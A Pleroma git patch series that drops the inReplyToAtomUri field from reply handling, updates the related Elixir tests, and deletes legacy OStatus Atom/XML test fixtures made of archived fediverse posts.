is_nil(in_reply_to) do in_reply_to_id = prepare_in_reply_to(in_reply_to) - object = Map.put(object, "inReplyToAtomUri", in_reply_to_id) depth = (options[:depth] || 0) + 1 if Federator.allowed_thread_distance?(depth) do @@ -176,9 +175,8 @@ def fix_in_reply_to(%{"inReplyTo" => in_reply_to} = object, options) %Activity{} <- Activity.get_create_by_object_ap_id(replied_object.data["id"]) do object |> Map.put("inReplyTo", replied_object.data["id"]) - |> Map.put("inReplyToAtomUri", object["inReplyToAtomUri"] || in_reply_to_id) |> Map.put("context", replied_object.data["context"] || object["conversation"]) - |> Map.drop(["conversation"]) + |> Map.drop(["conversation", "inReplyToAtomUri"]) else e -> Logger.warn("Couldn't fetch #{inspect(in_reply_to_id)}, error: #{inspect(e)}") diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index 3fa41b0c7..6e096e9ec 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -116,7 +116,8 @@ test "it fetches reply-to activities if we don't have them" do "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" ) - assert returned_object.data["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + assert returned_object.data["inReplyTo"] == + "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" end test "it does not fetch reply-to activities beyond max replies depth limit" do @@ -140,8 +141,7 @@ test "it does not fetch reply-to activities beyond max replies depth limit" do "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" ) - assert returned_object.data["inReplyToAtomUri"] == - "https://shitposter.club/notice/2827873" + assert returned_object.data["inReplyTo"] == "https://shitposter.club/notice/2827873" end end @@ -1072,7 +1072,7 @@ test "returns not modified object when hasn't containts inReplyTo field", %{data assert Transmogrifier.fix_in_reply_to(data) == data end - test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do + test "returns object with inReplyTo when denied incoming reply", %{data: data} do Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) object_with_reply = @@ -1080,26 +1080,22 @@ test "returns object with inReplyToAtomUri when denied incoming reply", %{data: modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" - assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" object_with_reply = Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} - assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" object_with_reply = Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] - assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" object_with_reply = Map.put(data["object"], "inReplyTo", []) modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == [] - assert modified_object["inReplyToAtomUri"] == "" end @tag capture_log: true @@ -1117,8 +1113,6 @@ test "returns modified object when allowed incoming reply", %{data: data} do assert modified_object["inReplyTo"] == "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" - assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" - assert modified_object["context"] == "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" end -- cgit v1.2.3 From 921f926e96fd07131d4b79f5a29caed17ae2cc56 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 8 Sep 2020 09:13:11 +0200 Subject: Remove OStatus in testsuite --- lib/pleroma/object/containment.ex | 7 - test/fixtures/23211.atom | 508 --------------- test/fixtures/cw_retweet.xml | 68 -- test/fixtures/delete.xml | 39 -- test/fixtures/dm.xml | 27 - test/fixtures/favorite.xml | 65 -- test/fixtures/favorite_with_local_note.xml | 64 -- test/fixtures/follow.xml | 68 -- test/fixtures/incoming_note_activity.xml | 42 -- test/fixtures/incoming_note_activity_answer.xml | 42 -- test/fixtures/incoming_reply_mastodon.xml | 29 - .../incoming_websub_gnusocial_attachments.xml | 59 -- test/fixtures/lambadalambda.atom | 479 -------------- test/fixtures/mastodon-note-cw.xml | 39 -- test/fixtures/mastodon-note-unlisted.xml | 38 -- test/fixtures/mastodon-problematic.xml | 72 --- test/fixtures/mastodon_conversation.xml | 30 - test/fixtures/nil_mention_entry.xml | 52 -- test/fixtures/ostatus_incoming_post.xml | 57 -- test/fixtures/ostatus_incoming_post_tag.xml | 59 -- test/fixtures/ostatus_incoming_reply.xml | 60 -- test/fixtures/share-gs-local.xml | 99 --- test/fixtures/share-gs.xml | 99 --- test/fixtures/share.xml | 54 -- test/fixtures/tesla_mock/7369654.atom | 44 -- test/fixtures/tesla_mock/atarifrosch_feed.xml | 473 -------------- test/fixtures/tesla_mock/emelie.atom | 306 --------- ...index.php_api_statuses_user_timeline_1.atom.xml | 460 ------------- .../tesla_mock/https___mamot.fr_users_Skruyb.atom | 342 ---------- ...ttps___mastodon.social_users_lambadalambda.atom | 464 ------------- .../https___pawoo.net_users_pekorino.atom | 231 ------- ...s___pleroma.soykaf.com_users_lain_feed.atom.xml | 1 - ...tposter.club_api_statuses_show_2827873.atom.xml | 54 -- ...ster.club_api_statuses_user_timeline_1.atom.xml | 454 ------------- .../https___shitposter.club_notice_2827873.json | 1 - ...al.la_api_statuses_user_timeline_23211.atom.xml | 591 ----------------- ...al.la_api_statuses_user_timeline_29191.atom.xml | 719 --------------------- test/fixtures/tesla_mock/sakamoto.atom | 1 - test/fixtures/tesla_mock/sakamoto_eal_feed.atom | 1 - .../tesla_mock/shp@pleroma.soykaf.com.feed | 1 - test/fixtures/tesla_mock/spc_5381.atom | 438 ------------- test/fixtures/unfollow.xml | 68 -- test/support/http_request_mock.ex | 174 ----- test/web/activity_pub/transmogrifier_test.exs | 16 +- .../controllers/search_controller_test.exs | 12 +- 45 files changed, 15 insertions(+), 6992 deletions(-) delete mode 100644 test/fixtures/23211.atom delete mode 100644 test/fixtures/cw_retweet.xml delete mode 100644 test/fixtures/delete.xml delete mode 100644 test/fixtures/dm.xml delete mode 100644 test/fixtures/favorite.xml delete mode 100644 test/fixtures/favorite_with_local_note.xml delete mode 100644 test/fixtures/follow.xml delete mode 100644 test/fixtures/incoming_note_activity.xml delete mode 100644 test/fixtures/incoming_note_activity_answer.xml delete mode 100644 test/fixtures/incoming_reply_mastodon.xml delete mode 100644 test/fixtures/incoming_websub_gnusocial_attachments.xml delete mode 100644 test/fixtures/lambadalambda.atom delete mode 100644 test/fixtures/mastodon-note-cw.xml delete mode 100644 test/fixtures/mastodon-note-unlisted.xml delete mode 100644 test/fixtures/mastodon-problematic.xml delete mode 100644 test/fixtures/mastodon_conversation.xml delete mode 100644 test/fixtures/nil_mention_entry.xml delete mode 100644 test/fixtures/ostatus_incoming_post.xml delete mode 100644 test/fixtures/ostatus_incoming_post_tag.xml delete mode 100644 test/fixtures/ostatus_incoming_reply.xml delete mode 100644 test/fixtures/share-gs-local.xml delete mode 100644 test/fixtures/share-gs.xml delete mode 100644 test/fixtures/share.xml delete mode 100644 test/fixtures/tesla_mock/7369654.atom delete mode 100644 test/fixtures/tesla_mock/atarifrosch_feed.xml delete mode 100644 test/fixtures/tesla_mock/emelie.atom delete mode 100644 test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom delete mode 100644 test/fixtures/tesla_mock/https___mastodon.social_users_lambadalambda.atom delete mode 100644 test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom delete mode 100644 test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json delete mode 100644 test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml delete mode 100644 test/fixtures/tesla_mock/sakamoto.atom delete mode 100644 test/fixtures/tesla_mock/sakamoto_eal_feed.atom delete mode 100644 test/fixtures/tesla_mock/shp@pleroma.soykaf.com.feed delete mode 100644 test/fixtures/tesla_mock/spc_5381.atom delete mode 100644 test/fixtures/unfollow.xml diff --git a/lib/pleroma/object/containment.ex b/lib/pleroma/object/containment.ex index bc88e8a0c..29cb3d672 100644 --- a/lib/pleroma/object/containment.ex +++ b/lib/pleroma/object/containment.ex @@ -44,13 +44,6 @@ def get_object(_) do nil end - # TODO: We explicitly allow 'tag' URIs through, due to references to legacy OStatus - # objects being present in the test suite environment. Once these objects are - # removed, please also remove this. - if Mix.env() == :test do - defp compare_uris(_, %URI{scheme: "tag"}), do: :ok - end - defp compare_uris(%URI{host: host} = _id_uri, %URI{host: host} = _other_uri), do: :ok defp compare_uris(_id_uri, _other_uri), do: :error diff --git a/test/fixtures/23211.atom b/test/fixtures/23211.atom deleted file mode 100644 index d5d111baa..000000000 --- a/test/fixtures/23211.atom +++ /dev/null @@ -1,508 +0,0 @@ -<?xml version="1.0" encoding="UTF-8"?> -<feed xml:lang="en-US" xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:georss="http://www.georss.org/georss" xmlns:activity="http://activitystrea.ms/spec/1.0/" xmlns:media="http://purl.org/syndication/atommedia" xmlns:poco="http://portablecontacts.net/spec/1.0" xmlns:ostatus="http://ostatus.org/schema/1.0" xmlns:statusnet="http://status.net/schema/api/1/"> - <generator uri="https://gnu.io/social" version="1.0.2-dev">GNU social</generator> - <id>https://social.heldscal.la/api/statuses/user_timeline/23211.atom</id> - <title>lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-02T14:59:30+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2015260:2017-05-02T14:45:47+00:00 - Favorite - lambadalambda favorited something by godemperorofdune: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> It's because your instance decided to be trap! lol.</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T14:45:47+00:00 - 2017-05-02T14:45:47+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:pawoo.net,2017-05-02:objectId=7397439:objectType=Status - New comment by godemperorofdune - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> It's because your instance decided to be trap! lol.</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=136e244b26cdf1e9 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-02:noticeId=2015221:objectType=note - New note by lambadalambda - Some script thinks I'm a mastodon server.<br /> <br /> [info] GET /api/v1/timelines/public<br /> [debug] Processing with Fallback.RedirectController.redirector/2<br /> Parameters: %{&quot;limit&quot; =&gt; &quot;40&quot;, &quot;path&quot; =&gt; [&quot;api&quot;, &quot;v1&quot;, &quot;timelines&quot;, &quot;public&quot;]}<br /> Pipelines: [] - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T14:40:50+00:00 - 2017-05-02T14:40:50+00:00 - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=136e244b26cdf1e9 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2014759:objectType=comment - New comment by lambadalambda - @<a href="https://mstdn.io/users/mattskala" class="h-card u-url p-nickname mention" title="Matthew Skala">mattskala</a> You and @<a href="https://mastodon.social/users/kevinmarks" class="h-card u-url p-nickname mention" title="Kevin Marks">kevinmarks</a> are not wrong, but my comment was a suggestion to users and admins: Don't use big instances, don't run big instances. Also, it's a secondary advice to devs: Don't add features that encourage big instances. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T14:11:54+00:00 - 2017-05-02T14:11:54+00:00 - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2014684:objectType=comment - New comment by lambadalambda - @<a href="https://mastodon.social/users/Ronkjeffries" class="h-card u-url p-nickname mention" title="Ron K Jeffries social">ronkjeffries</a> @<a href="https://xoxo.zone/users/KevinMarks" class="h-card u-url p-nickname mention" title="Kevin Marks ">kevinmarks</a> Usually people who run their own private instance just look at the timelines of other servers, follow a seed population and then go from there. This is of course hard on Mastodon, because it doesn't have a publicly visible timeline. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T14:07:00+00:00 - 2017-05-02T14:07:00+00:00 - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2014584:2017-05-02T14:05:32+00:00 - Favorite - lambadalambda favorited something by mattskala: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> It's reasonable to expect that instance sizes will obey a power-law distribution because that's what such things in nature nearly always do. If so, there'll necessarily be a few instances much larger than the others; even if most are small, the network both socially and technically has to be able to deal with the existence of the few large ones.</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T14:05:32+00:00 - 2017-05-02T14:05:32+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:mstdn.io,2017-05-02:objectId=1316931:objectType=Status - New comment by mattskala - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> It's reasonable to expect that instance sizes will obey a power-law distribution because that's what such things in nature nearly always do. If so, there'll necessarily be a few instances much larger than the others; even if most are small, the network both socially and technically has to be able to deal with the existence of the few large ones.</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013568:2017-05-02T14:05:29+00:00 - Favorite - lambadalambda favorited something by kevinmarks: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> except instance populations will be power law distributed, and the problems for the tummlers are worse at scale</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T14:05:29+00:00 - 2017-05-02T14:05:29+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:xoxo.zone,2017-05-02:objectId=89478:objectType=Status - New comment by kevinmarks - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> except instance populations will be power law distributed, and the problems for the tummlers are worse at scale</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2014060:2017-05-02T13:34:32+00:00 - Favorite - lambadalambda favorited something by gcarregues: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> Oh purée ! Ma vie en images !</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T13:34:32+00:00 - 2017-05-02T13:34:32+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:mastodon.etalab.gouv.fr,2017-05-02:objectId=55287:objectType=Status - New comment by gcarregues - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> Oh purée ! Ma vie en images !</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:note:2013573:2017-05-02T13:03:33+00:00 - Favorite - lambadalambda favorited something by phildobangnz: also @<a href="https://sealion.club/user/579" class="h-card mention" title="Sim Bot">sim</a> reminder you are awesome; don't even trip- u kewler than Tutankhamen's cucumber, fam. Okay, good night. - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T13:03:33+00:00 - 2017-05-02T13:03:33+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:sealion.club,2017-05-02:noticeId=3060818:objectType=note - New note by phildobangnz - also @<a href="https://sealion.club/user/579" class="h-card mention" title="Sim Bot">sim</a> reminder you are awesome; don't even trip- u kewler than Tutankhamen's cucumber, fam. Okay, good night. - - - - - - - https://sealion.club/conversation/1633267 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2013586:objectType=comment - New comment by lambadalambda - @<a href="https://xoxo.zone/users/KevinMarks" class="h-card u-url p-nickname mention" title="Kevin Marks ">kevinmarks</a> People can stay in their giant unmoderatable instances with meaningless public and federated timelines and experience constant federation drama if they want. I'll stay here with my 5 friends. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T12:54:59+00:00 - 2017-05-02T12:54:59+00:00 - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:note:2013486:2017-05-02T12:46:48+00:00 - Favorite - lambadalambda favorited something by fortune: There once was a dentist named Stone<br /> Who saw all his patients alone.<br /> In a fit of depravity<br /> He filled the wrong cavity,<br /> And my, how his practice has grown! - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:46:48+00:00 - 2017-05-02T12:46:48+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.kawa-kun.com,2017-05-02:noticeId=1655658:objectType=note - New note by fortune - There once was a dentist named Stone<br /> Who saw all his patients alone.<br /> In a fit of depravity<br /> He filled the wrong cavity,<br /> And my, how his practice has grown! - - - - - - - https://gs.kawa-kun.com/conversation/714072 - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:note:2013365:2017-05-02T12:37:55+00:00 - Favorite - lambadalambda favorited something by xj9: <p>&gt; rollerblading to work</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:37:55+00:00 - 2017-05-02T12:37:55+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:sunshinegardens.org,2017-05-02:objectId=61020:objectType=Status - New note by xj9 - <p>&gt; rollerblading to work</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=5a0e98612f634218 - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013259:2017-05-02T12:29:03+00:00 - Favorite - lambadalambda favorited something by cereal: @<a href="https://gs.smuglo.li/user/28250" class="h-card mention" title="Bricky">thatbrickster</a> @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> But why? - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:29:03+00:00 - 2017-05-02T12:29:03+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:sealion.club,2017-05-02:noticeId=3059985:objectType=comment - New comment by cereal - @<a href="https://gs.smuglo.li/user/28250" class="h-card mention" title="Bricky">thatbrickster</a> @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> But why? - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013227:2017-05-02T12:24:27+00:00 - Favorite - lambadalambda favorited something by thatbrickster: @<a href="https://social.heldscal.la/user/23211" class="h-card u-url p-nickname mention" title="Constance Variable">lambadalambda</a> install gentoo - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:24:27+00:00 - 2017-05-02T12:24:27+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:gs.smuglo.li,2017-05-02:noticeId=2144296:objectType=comment - New comment by thatbrickster - @<a href="https://social.heldscal.la/user/23211" class="h-card u-url p-nickname mention" title="Constance Variable">lambadalambda</a> install gentoo - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013213:2017-05-02T12:22:53+00:00 - Favorite - lambadalambda favorited something by dwmatiz: @<a href="https://social.heldscal.la/user/23211" class="h-card mention">lambadalambda</a> *unzips dick* - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:22:53+00:00 - 2017-05-02T12:22:53+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:sealion.club,2017-05-02:noticeId=3059800:objectType=comment - New comment by dwmatiz - @<a href="https://social.heldscal.la/user/23211" class="h-card mention">lambadalambda</a> *unzips dick* - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013199:2017-05-02T12:22:03+00:00 - Favorite - lambadalambda favorited something by shpuld: @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> get #<span class="tag"><a href="https://shitposter.club/tag/cofe" rel="tag">cofe</a></span> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:22:03+00:00 - 2017-05-02T12:22:03+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-02:noticeId=2783524:objectType=comment - New comment by shpuld - @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> get #<span class="tag"><a href="https://shitposter.club/tag/cofe" rel="tag">cofe</a></span> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-02:noticeId=2013185:objectType=note - New note by lambadalambda - What now? <a href="https://social.heldscal.la/file/e4822d95de677757ff50d49672a4046c83218b76c04a0ad5e5f1f0a9a9eb1a74.gif" title="https://social.heldscal.la/file/e4822d95de677757ff50d49672a4046c83218b76c04a0ad5e5f1f0a9a9eb1a74.gif" rel="nofollow external noreferrer" class="attachment" id="attachment-422572">https://social.heldscal.la/attachment/422572</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T12:21:04+00:00 - 2017-05-02T12:21:04+00:00 - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:note:2012929:2017-05-02T12:01:25+00:00 - Favorite - lambadalambda favorited something by drkmttr: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> I checked out No Agenda because I saw you mention it several time. Sadly, I wasn't impressed. I'm all about varying perspectives but Adam and John basically just sound like resentful curmudgeons. It seems like their shtick is basically playing devil's advocate to everything to arouse some discontent. Just my two cents. 😉</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:01:25+00:00 - 2017-05-02T12:01:25+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:mstdn.io,2017-05-02:objectId=1310093:objectType=Status - New note by drkmttr - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> I checked out No Agenda because I saw you mention it several time. Sadly, I wasn't impressed. I'm all about varying perspectives but Adam and John basically just sound like resentful curmudgeons. It seems like their shtick is basically playing devil's advocate to everything to arouse some discontent. Just my two cents. 😉</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2f329b4eb20e83e2 - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2012336:2017-05-02T11:06:42+00:00 - Favorite - lambadalambda favorited something by clacke: @<a href="https://mastodon.org.uk/users/dick_turpin" class="h-card u-url p-nickname mention" title="dick_turpin">dickturpin</a> @<a href="http://quitter.se/user/113503" class="h-card u-url p-nickname mention" title="Luke">luke</a> Oh no, I miss being irritated by you, it helps me understand myself and others. Also it builds character. :-)<br /> <br /> So if this is not federation because you can't follow all of online mankind, what should we call it? Proto-federated? Pre-federated?<br /> <br /> The term has been used decades ago for just one Microsoft Active Directory domain cross-certifying the root of another, by mutual agreement. I don't see how it's any less relevant to opportunistic federation between open servers on an open internet.<br /> <br /> I'm not saying we should be satisfied, I'm just saying that "federate" is a useful word and to build a big system we need to start with a small one. And focus on the things we *can* change, like helping the OStatus network grow and making the tools more useful.<br /> <br /> Saying that the network's ideals have failed because other networks aren't joining is doing neither of that. - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T11:06:42+00:00 - 2017-05-02T11:06:42+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2012336:objectType=comment - New comment by clacke - @<a href="https://mastodon.org.uk/users/dick_turpin" class="h-card u-url p-nickname mention" title="dick_turpin">dickturpin</a> @<a href="http://quitter.se/user/113503" class="h-card u-url p-nickname mention" title="Luke">luke</a> Oh no, I miss being irritated by you, it helps me understand myself and others. Also it builds character. :-)<br /> <br /> So if this is not federation because you can't follow all of online mankind, what should we call it? Proto-federated? Pre-federated?<br /> <br /> The term has been used decades ago for just one Microsoft Active Directory domain cross-certifying the root of another, by mutual agreement. I don't see how it's any less relevant to opportunistic federation between open servers on an open internet.<br /> <br /> I'm not saying we should be satisfied, I'm just saying that &quot;federate&quot; is a useful word and to build a big system we need to start with a small one. And focus on the things we *can* change, like helping the OStatus network grow and making the tools more useful.<br /> <br /> Saying that the network's ideals have failed because other networks aren't joining is doing neither of that. - - - - - - - https://s.wefamlee.be/conversation/16478 - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2011332:2017-05-02T10:37:40+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> <a href="https://www.youtube.com/watch?v=mKLizztikRk" title="https://www.youtube.com/watch?v=mKLizztikRk" class="attachment" rel="nofollow">https://www.youtube.com/watch?v=mKLizztikRk</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T10:37:40+00:00 - 2017-05-02T10:37:40+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-02:noticeId=2781833:objectType=comment - New comment by moonman - @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> <a href="https://www.youtube.com/watch?v=mKLizztikRk" title="https://www.youtube.com/watch?v=mKLizztikRk" class="attachment" rel="nofollow">https://www.youtube.com/watch?v=mKLizztikRk</a> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=11d8b8c27d9513ec - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2012145:objectType=comment - New comment by lambadalambda - @<a href="https://sealion.club/user/186" class="h-card u-url p-nickname mention" title="I'M CEREAL U GUISE">cereal</a> ? No, you don't even need the identity servers for federation. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T10:37:33+00:00 - 2017-05-02T10:37:33+00:00 - - - - https://sealion.club/conversation/1629037 - - - - - - - diff --git a/test/fixtures/cw_retweet.xml b/test/fixtures/cw_retweet.xml deleted file mode 100644 index c99a569d7..000000000 --- a/test/fixtures/cw_retweet.xml +++ /dev/null @@ -1,68 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - - - - - - tag:mastodon.social,2017-05-11:objectId=5647963:objectType=Status - 2017-05-11T10:23:15Z - 2017-05-11T10:23:15Z - lambadalambda shared a status by Skruyb@mamot.fr - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:mamot.fr,2017-05-10:objectId=1294943:objectType=Status - 2017-05-10T17:31:44Z - 2017-05-10T17:31:45Z - New status by Skruyb@mamot.fr - - https://mamot.fr/users/Skruyb - http://activitystrea.ms/schema/1.0/person - https://mamot.fr/users/Skruyb - Skruyb - Skruyb@mamot.fr - <p>Fr and En.<br>Posts will disappear on a regular basis.</p> - - - - Skruyb - The 7th Son - Fr and En.Posts will disappear on a regular basis. - public - - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - Hey. - <p><span class="h-card"><a href="https://mastodon.social/@lambadalambda">@<span>lambadalambda</span></a></span></p><p>Hey!!!</p> - - - public - - - - <p><span class="h-card"><a href="https://mastodon.social/@lambadalambda">@<span>lambadalambda</span></a></span></p><p>Hey!!!</p> - - public - - - - diff --git a/test/fixtures/delete.xml b/test/fixtures/delete.xml deleted file mode 100644 index 731e1c204..000000000 --- a/test/fixtures/delete.xml +++ /dev/null @@ -1,39 +0,0 @@ - - - https://mastodon.sdf.org/users/snowdusk.atom - snowdusk - Amateur live performance DJ/radio DJ on SDF's underground Internet radio http://aNONradio.net (LIVE Sat Sun Mon Tue 23:00-24:00 UTC) - http://snowdusk.sdf.org - 2017-06-17T04:14:34Z - https://mastodon.sdf.org/system/accounts/avatars/000/000/002/original/405a7652d5f60449.jpg?1497672873 - - https://mastodon.sdf.org/users/snowdusk - 